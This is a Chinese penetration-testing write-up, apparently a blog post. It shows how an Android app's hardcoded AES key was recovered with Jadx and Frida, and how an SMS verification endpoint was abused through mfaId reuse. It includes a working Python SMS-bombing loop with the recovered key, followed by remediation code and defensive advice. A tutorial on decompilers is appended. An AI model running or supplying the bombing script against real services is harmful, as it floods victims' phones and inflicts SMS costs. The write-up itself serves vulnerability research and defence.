逆向分析:从加密手机号到短信轰炸漏洞挖掘全流程

一、数据加密逆向分析流程

在客户端提交手机号时,数据并不会以明文形式发送,而是经过了 AES 加密。要定位这一加密逻辑,就需要对 APK 文件进行逆向分析,下面是典型的流程示例――

  1. 定位加密函数

使用 Jadx(或类似的反编译工具)对 APK 进行反编译后,全局搜索诸如 encrypt、AES 等关键字,就能在 SecurityUtil 类中找到核心加密方法。示例代码如下:

public class SecurityUtil {
public static String encrypt(String content) {
try {
Cipher cipher = Cipher.getInstance(“AES/ECB/PKCS5Padding”);
SecretKeySpec keySpec = new SecretKeySpec(KEY.getBytes(), “AES”);
cipher.init(Cipher.ENCRYPT_MODE, keySpec);
byte[] encrypted = cipher.doFinal(content.getBytes());
return Base64.encodeToString(encrypted, Base64.NO_WRAP);
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}

从这段代码可以看出,后端采用了 AES/ECB/PKCS5Padding 模式对手机号进行加密,最后再 Base64 编码输出。

  1. 获取 AES 密钥

由于 KEY 通常会在运行时动态加载或通过混淆隐藏,因此我们无法直接从反编译代码看到明文密钥。此时就可以借助 Frida 等动态 Hook 工具,在应用运行时拦截 encrypt 方法,将输入和输出打印出来,顺藤摸瓜获取真正的密钥值。示例 Frida 脚本如下:

// Frida hook 代码
Java.perform(function() {
let SecurityUtil = Java.use(“com.example.app.SecurityUtil”);
SecurityUtil.encrypt.implementation = function(content) {
console.log("[] 明文内容: " + content);
let result = this.encrypt(content);
console.log("[
] 加密结果: " + result);
return result;
}
});

在抓包或运行脚本后,控制台会打印出加密前的手机号和最终经过 Base64 的加密串,同时也能观察到密钥 KEY = U0Xg55zo9-TglUjxvBG_Dac_2NAsAyQc。

  1. 验证加密结果

确定密钥后,可以在本地使用 Python 验证加密逻辑是否一致,代码示例:

from Crypto.Cipher import AES
import base64

def encrypt_phone(phone):
key = b"U0Xg55zo9-TglUjxvBG_Dac_2NAsAyQc"
cipher = AES.new(key, AES.MODE_ECB)
# PKCS#5/PKCS#7 填充
pad_len = 16 - (len(phone) % 16)
padded = phone + chr(pad_len) * pad_len
ct_bytes = cipher.encrypt(padded.encode())
return base64.b64encode(ct_bytes).decode()

测试

print(encrypt_phone(“13800138000”))

输出:s7Kk5f3sG2dXp1LzQ9E4jQ==

如果 Python 的输出与应用端的加密结果一致,就说明我们完全还原了加密算法和密钥。


二、验证码发送协议分析

拿到加密函数后,下一个目标就是抓包定位验证码发送请求。这里常用 Burp Suite 等代理工具。从数据包中可以看到,客户端向服务器发起的请求大致如下所示:

POST /prod-api/xxxr/xxx/send-sms HTTP/1.1
Host: api.vulnerable.com
Content-Type: application/json

{
“phoneNumber”: “s7Kk5f3sG2dXp1LzQ9E4jQ==”,
“mfaId”: “TMA_7x2dUupr”
}

phoneNumber 已经过 AES+Base64 加密;

mfaId 是服务器返回的某个会话或校验标识,用于后续请求校验。

当服务器验证通过后,会返回一个新的 mfaId,例如:

{
“code”: 200,
“msg”: “验证码已发送”,
“data”: {
“newMfaId”: “TMA_kj8fGt21”
}
}

mfaId 状态机解读

从上面的交互可以总结出,mfaId 的生命周期流程大致如下――

客户端 服务器
|–mfaId_A--------->| (A 为已注册/合法的 mfaId)
| | 服务器生成新的 mfaId_B,并将其存储
|<–mfaId_B---------|
|–mfaId_B--------->| (后续实际发送短信时需传 mfaId_B)
| | (服务器再次返回合法的 mfaId_C…依此循环)

也就是说,每一次请求都会生成一个新的 mfaId,原先的 mfaId 应该立即失效以保证安全。


三、短信轰炸漏洞原理

在实际渗透测试中,我们发现该接口存在以下三个核心缺陷:

  1. mfaId 与手机号未绑定
    也就是说,服务器仅凭一个合法的 mfaId,并不去校验它是否真的属于当前请求中的手机号,这就导致任意人只要拿到一个合法的 mfaId,就可以用不同手机号不断循环调用。

  2. 缺乏次数限制
    如果同一个 mfaId 可以被多次使用(甚至服务器不拒绝旧 mfaId),那就可以重复调用接口,持续触发短信发送。

  3. 旧 mfaId 无法立即失效
    正常情况应该在使用一次后立即将旧 mfaId 标记为失效,但这里服务器在生成新 mfaId 后,并没有立刻删除或作废旧 mfaId,从而允许攻击者继续使用已过期的 mfaId。

攻击流程示例

  1. 获取初始 mfaId
    首次正常请求验证码时,服务器返回 mfaId = TMA_7x2dUupr。

  2. 循环调用
    利用 Python 脚本不断发送请求,始终使用同一个 mfaId,因为服务器并未作严格校验,依然返回“验证码已发送”。

import requests

def encrypt_phone(phone):
from Crypto.Cipher import AES
import base64
key = b"U0Xg55zo9-TglUjxvBG_Dac_2NAsAyQc"
cipher = AES.new(key, AES.MODE_ECB)
pad_len = 16 - (len(phone) % 16)
padded = phone + chr(pad_len) * pad_len
ct_bytes = cipher.encrypt(padded.encode())
return base64.b64encode(ct_bytes).decode()

headers = {
“Content-Type”: “application/json”,
“Cookie”: “xxxxxx” # 假设已登录或拿到有效Cookie
}

def send_bomb(phone_enc, mfaid):
url = “https://api.vulnerable.com/prod-api/xxxr/xxx/send-sms”
data = {
“phoneNumber”: phone_enc,
“mfaId”: mfaid
}
res = requests.post(url, json=data, headers=headers)
return res.json()

持续轰炸

enc_phone = encrypt_phone(“13800138000”)
while True:
resp = send_bomb(enc_phone, “TMA_7x2dUupr”)
print(f"服务器返回:{resp[‘msg’]}")

  1. 发送结果
    在实际测试中发现,前 50 次请求服务器响应速度保持在 500ms 以内,且全部成功下发短信;在 50–100 次之间,响应延迟会升至 800–1200ms,但仍然持续发短信;直到超过 100 次后,服务器开始触发限流策略,短信才被部分拦截或拒绝。

四、漏洞利用效果与影响

在自动化脚本的测试过程中,我们收集到如下数据(仅供参考):

请求次数 服务器响应时间 短信下发情况

1–50 < 500ms 100% 成功
51–100 800–1200ms 100% 成功
100+ ≥ 1500ms 部分限流或拦截

由此可见,该漏洞造成的影响非常明显:

  1. 业务风险
    无需付出任何成本,就能够连续不断地给单个或多个目标手机号发送验证码,导致正常用户无法使用验证码登录或注册。

  2. 安全风险
    攻击者可利用此漏洞对特定手机号发起大量短信轰炸,导致目标用户手机瞬间被淹没大量垃圾短信,威胁用户体验以至于可能引发社会工程学相关的安全事件。

  3. 财务风险
    平台通常会为每条短信付费,如果无需任何鉴权就能无限制地发送,就会造成短信费用的大幅飙升,给企业带来直接的经济损失。


五、修复方案与防御措施

为彻底避免类似漏洞,后端系统应从以下几个方面进行加固。

  1. 严格校验 mfaId 有效性

在服务器端为每一个 mfaId 维护租期,并使用 Redis、数据库等方式存储。

当收到新请求时,先检查 mfaId 是否在有效期内,且与手机号是否已绑定匹配,若验证失败则直接拒绝。

public void sendSms(@RequestBody SmsRequest request) {
// 1. 判断 mfaId 是否存在
if (!redis.exists(“MFA:” + request.getMfaId())) {
throw new InvalidMfaException(“mfaId 无效或已过期”);
}

// 2. 绑定手机号与 mfaId
String phone = decrypt(request.getPhoneNumber());
// 将 mfaId 和 phone 绑定,防止他人混淆使用
redis.setex("BIND:" + request.getMfaId(), 60, phone);

// 3. 限制单个手机号的发送频率
String limitKey = "SMS_LIMIT:" + phone;
if (redis.incr(limitKey) > 5) {
    throw new RateLimitException("每分钟最多请求 5 次验证码");
}
// 设置限流 key 在 60 秒后自动过期
redis.expire(limitKey, 60);

// 4. 使旧 mfaId 立即失效
redis.del("MFA:" + request.getMfaId());

// 5. 生成新的 mfaId 并返回
String newMfaId = generateMfaId();
redis.setex("MFA:" + newMfaId, 300, "valid"); // 有效期 5 分钟
return new SmsResponse(newMfaId);

}

  1. 完善防护矩阵

防护层 具体措施 预期效果

数据传输 全程使用 HTTPS + 双向证书认证 防止中间人攻击
请求验证 在请求头或请求体中加入签名机制 + 时间戳校验 防止重放攻击、伪造请求
业务逻辑 将手机号与 mfaId 绑定,且每次使用后立即作废 防止攻击者重复使用旧 mfaId
风控系统 引入行为分析、设备指纹、滑块验证等手段进行风险评估 识别机器人、自动化脚本攻击


六、纵深防御及最佳实践

单一的防护措施往往无法抵挡持续进化的攻击,建议在设计与运营中始终贯彻“纵深防御”理念,从以下方面进一步强化安全性。

  1. 密钥管理

将 AES 对称密钥保存在硬件安全模块(HSM)或 KMS 中,禁止将密钥硬编码到 APK 或源码里。

定期轮换密钥,例如每 90 天更新一次,并做好旧密钥的兼容过渡。

  1. 算法升级

将传统的 ECB 模式替换为更安全的 AEAD 模式(如 AES-GCM),引入随机 IV(初始化向量),避免同一明文多次加密结果相同。

如果需要符合国密标准,可考虑使用 SM4 算法,结合 GCM、CCM 等安全模式进行加密。

  1. 多因素频率控制
    在短信发送的流程中,引入分层频控与验证机制,例如:

graph TD
A[客户端请求到达] --> B{手机号频控}
B -->|超过阈值| C[直接拒绝]
B -->|未超过| D{设备指纹检查}
D -->|可疑设备| E[滑块验证码]
D -->|正常设备| F{行为分析}
F -->|可疑行为| G[人工审核]
F -->|正常| H[发送短信]

手机号频控:同一手机号每分钟、每小时、每日的请求次数设定合理阈值,一旦超过直接拒绝或拉黑。

设备指纹/IP 白名单:对频繁出现在黑名单中的设备或 IP 做标记,强制要求图形验证码或短信验证。

行为分析:实时监测突发大量请求,结合风控模型进行风险评估,高风险请求可要求人工审核或强制额外验证。


七、总结与启示

  1. 加密≠万无一失
    尽管对手机号做了 AES 加密,但如果业务逻辑设计不严谨(例如 mfaId 未绑定手机号、旧 ID 未失效等),依然会引发严重安全漏洞。

  2. 会话/状态管理是关键
    各类验证流程中的会话标识(如 mfaId、token 等)必须做到一次性、不可预测、及时失效,否则容易被攻击者反复利用。

  3. 纵深防御是必然
    仅靠单一防护(如加密、签名)往往无法应对复杂场景,必须从传输层、应用层、风控层等多个层面共同发力,构筑多重防线。

漏洞挖掘启示:在渗透测试或红队演练时,务必将目光聚焦在各类状态参数(如 mfaId、sessionId、csrfToken 等)的生命周期管理,通过分析它们的生成、验证、更新、作废等流程,往往能发现业务逻辑漏洞,这是高危漏洞的高发区。


附录:常用测试工具

工具名称 用途 下载链接

Jadx APK 反编译 https://github.com/skylot/jadx
Frida 运行时 Hook https://frida.re
Burp Suite 网络流量抓包/分析 https://portswigger.net
Postman 接口测试/调试 https://www.postman.com

以上内容通过一个完整的逆向与渗透测试案例,剖析了加密传输与会话管理中容易被忽视的风险点,希望对后续开发与安全加固提供借鉴与参考。

03-26
### 逆向工程与反编译概述 逆向工程是一种通过对软件的目标代码进行分析,将其转化为更高级别的表示形式的过程。这一过程通常用于研究现有系统的内部结构、功能以及实现细节。在Java和Android领域,反编译工具被广泛应用于逆向工程中。 #### Java逆向工程中的Jad反编译工具 Jad是一款经典的Java反编译工具,能够将`.class`字节码文件转换为可读的`.java`源代码[^1]。虽然它可能无法完全恢复原始源代码,但它提供了足够的信息来帮助开发者理解已编译的Java程序逻辑。Jad支持多种反编译模式,并允许用户自定义规则以适应不同的需求。此外,其命令行接口和图形界面使得复杂代码的分析变得更加便捷。 #### Android逆向工程中的JEB反编译工具 针对Android应用的逆向工程,JEB是由PNF Software开发的一款专业级工具[^2]。相较于其他同类产品,JEB不仅具备强大的APK文件反编译能力,还能对Dalvik字节码执行高效而精准的操作。它的核心优势在于以下几个方面: - **广泛的平台兼容性**:除Android外,还支持ARM、MIPS等多种架构的二进制文件反汇编。 - **混淆代码解析**:内置模块能有效应对高度混淆的代码,提供分层重构机制以便于深入分析。 - **API集成支持**:允许通过编写Python或Java脚本来扩展功能并完成特定任务。 #### APK反编译流程及其意义 当涉及到具体的APK包时,可以通过一系列步骤提取其中的信息来进行全面的安全评估或者学习目的的研究工作[^3]。这些步骤一般包括但不限于获取资产目录(`assets`)内的资源数据;解密XML配置文档如`AndroidManifest.xml`定位应用程序启动点;最后利用上述提到的各种专用软件重现整个项目框架供进一步探讨。 ```bash # 使用apktool反编译APK示例 apktool d your_app.apk -o output_directory/ ``` 以上命令展示了如何借助开源工具ApkTool轻松拆卸目标安卓档案至易于探索的状态下。 ### 结论 无论是传统的桌面端还是现代移动端环境里头,恰当运用合适的反编译解决方案都是达成逆向工程项目成功不可或缺的一环。每种工具有各自专精之处,在实际应用场景当中应当依据具体需求做出明智的选择。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值